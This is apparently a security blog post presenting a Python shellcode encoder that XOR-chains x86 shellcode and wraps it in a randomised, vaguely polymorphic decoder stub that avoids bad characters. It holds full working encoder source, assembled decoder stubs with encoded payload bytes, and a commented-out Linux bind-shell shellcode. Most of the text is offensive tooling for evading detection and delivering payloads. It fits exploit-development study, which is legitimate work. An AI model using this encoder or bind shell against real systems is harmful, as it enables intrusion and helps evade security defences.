I’ve been working on a simple python utility to encode and wrap existing shellcode. The shellcode is XOR’d with a random seed byte each time, and then the shellcode is XOR’d with the previous byte. The stub itself is vaguely polymorphic. The stub itself is very small although on each run, it will reorder instructions where possible, use different registers, and add some random nop sequences. The encoder itself supports shellcode with or without null bytes and also supports a list of ‘bad characters’ that are not allowed to appear in the finished result wherever possible. That part isn’t fool proof, and certain characters such as ‘\xeb’ are unavoidable. This could be improved a lot however. I also know the Python code isn’t great, but it is functional. As you’ll see from looking through the code, I never got round to learning about Python data types and so there’s a lot of hackery and kludgery. In any case, the purpose was just to develop a basic functional PoC from scratch.

If the entered shellcode contains nulls, we’ll use a slightly different version of the decoder stub. If we DO have nulls, our basic stub is:

_start:
jmp short getpc
start_decoder:
pop edi
decoder:
inc edi
mov bl, [edi]
xor [edi-1], bl
cmp byte[edi+1], 0xXX
jnz decoder
jmp short shellcode
getpc:
call start_decoder
shellcode: db 0xf0,0x19,0x0c,0x0c,0x0c,0x0c,0x55,0x64,0xa4,0x95,0x4e,0x7f,0xad,0x1d,0x19,0xaa,0xab,0x19,0x14,0xd9,0x59,0xe9,0xe8,0x5b,0x5a,0x97,0x17,0xff,0x19,0xe6,0x19,0xe6,0xae,0xcb,0xa7,0xcb,0xa4,0x84,0xd3,0xbc,0xce,0xa2,0xc6,0xe7,0xed,0xXX,

There will be various transforms made to this code, however the main point to note is that we ‘cmp’ the byte with our random stop bit (0xXX) and you’ll see that tagged on to the end of the shellcode also. If we have no nulls, then \x00 is going to be our definer for the last character, and so we can shorten the shellcode slightly:

global _start
section prog write exec
_start:
jmp short getpc
start_decoder:
pop ebp
decoder:
mov dl, [ebp+1]
inc ebp
xor [ebp-1], dl
jne decoder
jmp short shellcode
getpc:
call start_decoder
shellcode: db 0x64,0x55,0x8e,0x79,0x9a,0x2a,0x4c,0x1f,0xe1,0x22,0x71,0x1b,0x19,0x90,0x71,0xbc,0x3c,0xb5,0x72,0x18,0x7e,0x26,0x7d,0x23,0x45,0x2d,0x20,0xd0,0xb6,0xe5,0x6c,0x8d,0xe7,0xf7,0xa6,0xf1,0x78,0x99,0x54,0xd4,0xbe,0xd8,0x80,0x81,0x5a,0x30,0x31,0x66,0xef,0x0e,0xc3,0x43,0x29,0x4f,0x17,0x54,0x65,0xb7,0xe5,0xb7,0xe0,0x69,0x88,0x45,0xc5,0x56,0x67,0xae,0x1f,0x1d,0xad,0x92,0x5f,0xdf,0x96,0xef,0x16,0x27,0xe7,0xb7,0xdf,0xf0,0xdf,0xac,0xc4,0xac,0x83,0xe1,0x88,0xe6,0x6f,0x8c,0xdc,0x55,0xb7,0xe4,0x6d,0x8c,0x3c,0x37,0xfa,0x7a,0x7a,

In this case, we have the stop bit twice – 0x7a,0x7a which will xor to 0x00 allowing our ‘jne decoder’ to evaluate to false and continue into the shellcode.

The nop generator function is commented out however this can be expanded as needed to pad out the shellcode.

Here’s the full encoder:

#!/usr/bin/python

#; Title Python XOR Shellcode Encoder
#; Author npn <npn at iodigitalsec dot com>
#; License http://creativecommons.org/licenses/by-sa/3.0/
#; Legitimate use and research only
#; This program is distributed in the hope that it will be useful,
#; but WITHOUT ANY WARRANTY; without even the implied warranty of
#; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 

import random
import os

#helloworld with nulls
shellcode = (   "\xe9\x15\x00\x00\x00\x59\x31\xc0\x31\xdb"
                "\x31\xd2\xb0\x04\xb3\x01\xb2\x0d\xcd\x80"
                "\xb0\x01\xb3\x01\xcd\x80\xe8\xe6\xff\xff"
                "\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72"
                "\x6c\x64\x21\x0a")

#bindshell without nulls
#shellcode = (  "\x31\xdb\xf7\xe3\xb0\x66\x53\xfe\xc3\x53"
#               "\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x6a\x66"
#               "\x58\x5b\x5e\x66\x68\x0d\xf0\x66\x53\x89"
#               "\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x6a"
#               "\x66\x58\x01\xdb\x6a\x01\x57\x89\xe1\xcd"
#               "\x80\x6a\x66\x58\x43\x31\xd2\x52\x52\x57"
#               "\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0"
#               "\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68"
#               "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
#               "\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd"
#               "\x80")

badchars = (["\x0a", "\x0d", "\x00"])

#---#

def psc(thisshellcode):
        encoded = ""
        for x in bytearray(thisshellcode):
                encoded += '\\x%02x' % x
        print encoded
        encoded = ""

def mknop(n, nops):
#       if not random.randint(0,n):
#               return '\n'.join(random.choice(nops)) + "\n"
#       else:
                return ""

#print "Starting Set length: " + repr(len(allowedxors))
#step1

def runencoder():

        thisshellcode = shellcode
        reg1 = ([["eax", "ax", "ah", "al"], ["ebx", "bx", "bh", "bl"],["ecx", "cx", "ch", "cl"],["edx", "dx", "dh", "dl"]])
        reg2 = (["esi", "edi", "ebp"])

        jmps = ["jnz", "jne"]

        nops = []
        nops.append(["nop"])
        nops.append(["std", "cld"])
        nops.append(["cld", "std"])

        for r in reg1:
                for ir in r:
                        nops.append(["inc " + ir, "dec " + ir])
                        nops.append(["xchg " + ir + ", " + ir])


        for ir in reg2:
                nops.append(["inc " + ir, "dec " + ir])
                nops.append(["push " + ir, "pop " + ir])
                for ir2 in reg2:
                        nops.append(["xchg " + ir + ", " + ir2, "xchg " + ir2 + ", " + ir])


        allowedxors = (["\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c",
                        "\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18",
                        "\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24",
                        "\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30",
                        "\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c",
                        "\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48",
                        "\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54",
                        "\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60",
                        "\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c",
                        "\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78",
                        "\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84",
                        "\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90",
                        "\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c",
                        "\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8",
                        "\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4",
                        "\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0",
                        "\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc",
                        "\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8",
                        "\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4",
                        "\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0",
                        "\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc",
                        "\xfd","\xfe","\xff"])

        for b in badchars:
                if b in allowedxors:
                        allowedxors.remove(b)

        #does shellcode contain nulls?
        #I hope not!
        nulls = 0
        for x in bytearray(thisshellcode):
                if chr(x) == "\x00":
                        nulls = 1

        if nulls == 0:
                ourxor = ""
                thisshellcode = thisshellcode + "\x00"
        else:
                #we got nulls 
                ourxor = ord(random.choice(allowedxors))
                allowedxors.remove(chr(ourxor))

        #step1 cascading additive xor with known end byte
        myallowedxors = list(allowedxors)
        random.shuffle(myallowedxors)
        loopctr=1
        for ax in myallowedxors:
                b = bytearray()
                lastbyte = ord(ax)
                b.append(lastbyte)
                badchar = 0
                for x in bytearray(thisshellcode):
                        thisbyte = x^lastbyte
                        if chr(thisbyte) in badchars:
                                badchar = 1
                                break
                        b.append(thisbyte)
                        lastbyte = thisbyte
                if badchar == 1:
                        loopctr=loopctr+1
                else:
                        break
        if badchar == 1:
                print "No bytes left(3)"
                quit()

        #print ";Succeeded on %d of %d" % (loopctr, len(allowedxors))

        if nulls == 1:
                #we got nulls
                b.append(ourxor)

        thisshellcode = b


        #step2 put it together


        encoded = ""
        encoded2 = ""

        for x in bytearray(thisshellcode):
                encoded += '\\x%02x' % x
                encoded2 += '0x%02x,' % x

        myreg1=random.choice(reg1)
        myreg2=random.choice(reg2)
        reg1.remove(myreg1)
        reg2.remove(myreg2)
        myreg3=random.choice(reg1)
        reg1.remove(myreg3)

        i = [
                'inc ' + myreg2 + "\n",
                'inc ' + myreg2 + "\n" + 'inc ' + myreg2 + "\n" + 'dec ' + myreg2 + "\n",
        ]


        #print encoded
        #print encoded2
        #print ';Len: %d' % (len(encoded)/4) + "\n"

        head  = 'global _start' + "\n" + 'section prog write exec' + "\n" +  '_start:' + "\n"

        getpc_top = 'jmp short getpc' + "\n" + mknop(1, nops) +  'start_decoder:' + "\n" + mknop(3, nops) + 'pop ' + myreg2 + "\n" + mknop(3, nops)

        dec1  = 'decoder:' + "\n"

        if nulls == 0:
                d = [
                        random.choice(i) + "\n" + mknop(3, nops) + 'mov ' + myreg1[3] + ', [' + myreg2 + ']' + "\n" + mknop(3, nops) + 'xor [' + myreg2 + '-1], ' + myreg1[3] + "\n",
                        'mov ' + myreg1[3] + ', [' + myreg2 + '+1]' + "\n" + mknop(3, nops) + random.choice(i) + "\n" + mknop(3, nops) + 'xor [' + myreg2 + '-1], ' + myreg1[3] + "\n",
                ]
        else:
                ourxor = '0x%02x' % ourxor
                d = [
                        random.choice(i) + "\n" + mknop(3, nops) + 'mov ' + myreg1[3] + ', [' + myreg2 + ']' + "\n" + mknop(3, nops) + 'xor [' + myreg2 + '-1], ' + myreg1[3] + "\n" + mknop(3, nops) + 'cmp byte[' + myreg2 + '+1], ' + ourxor + "\n",
                        'mov ' + myreg1[3] + ', [' + myreg2 + '+1]' + "\n" + mknop(3, nops) + random.choice(i) + "\n" + mknop(3, nops) + 'xor [' + myreg2 + '-1], ' + myreg1[3] + "\n" + mknop(3, nops) + 'cmp byte[' + myreg2 + '+1], ' + ourxor + "\n",
                        'mov ' + myreg1[3] + ', [' + myreg2 + '+1]' + "\n" + mknop(3, nops) + 'xor [' + myreg2 + '], ' + myreg1[3] + "\n" + mknop(3, nops) + random.choice(i) + "\n" + mknop(3, nops) + 'cmp byte[' + myreg2 + '+1], ' + ourxor + "\n",
                ]

        dec2 = random.choice(d)
        dec2 += random.choice(jmps) + ' decoder' + "\n"
        dec2 += 'jmp short shellcode' + "\n"

        getpc_bottom = 'getpc:' + "\n" + 'call start_decoder' + "\n" + 'shellcode: db ' + encoded2 + "\n"

        bottom = ""

        out = head + getpc_top + dec1 + dec2 + getpc_bottom + bottom
        f = open('/tmp/sc.asm', 'w')
        f.write(out)
        f.close()
        os.system("/usr/bin/nasm -f elf32 -o /tmp/sc.o /tmp/sc.asm")
        os.system("/usr/bin/nasm -f bin -o /tmp/sc.bin /tmp/sc.asm 2>/dev/null")
        os.system("/usr/bin/ld -o /tmp/sc /tmp/sc.o")

        f = open('/tmp/sc.bin', 'r')
        fsc = f.read()
        f.close()
        os.system("rm /tmp/sc /tmp/sc.bin /tmp/sc.asm /tmp/sc.o")
        return (ourxor, nulls, fsc)


(ourxor, nulls, fsc) = runencoder()

fin = 0
tryctr = 1
trylim = 255
while fin != 1 and tryctr < trylim:
        fin = 0
        ourxorctr = 0
        bad = 0
        for x in bytearray(fsc):
                if chr(x) in badchars:
                        bad = 1
                if nulls == 1:
                        if x == int(ourxor,16):
                                ourxorctr = ourxorctr + 1
        if ourxorctr > 2:
                bad = 1

        if bad == 0:
                fin = 1
        else:
                bad = 0
                (ourxor, nulls, fsc) = runencoder()
                tryctr = tryctr + 1


if tryctr == trylim:
        print "FAILED after: %d rounds" % trylim
else:
        print "Completed in: %d rounds" % tryctr
print "Original Len: %d" % len(shellcode)
print "Finished Len: %d" % len(fsc)
sc = ""
asm = ""
for x in bytearray(fsc):
        sc += '\\x'
        sc += '%02x' % x
        asm += '0x'
        asm += '%02x,' % x
print sc
print asm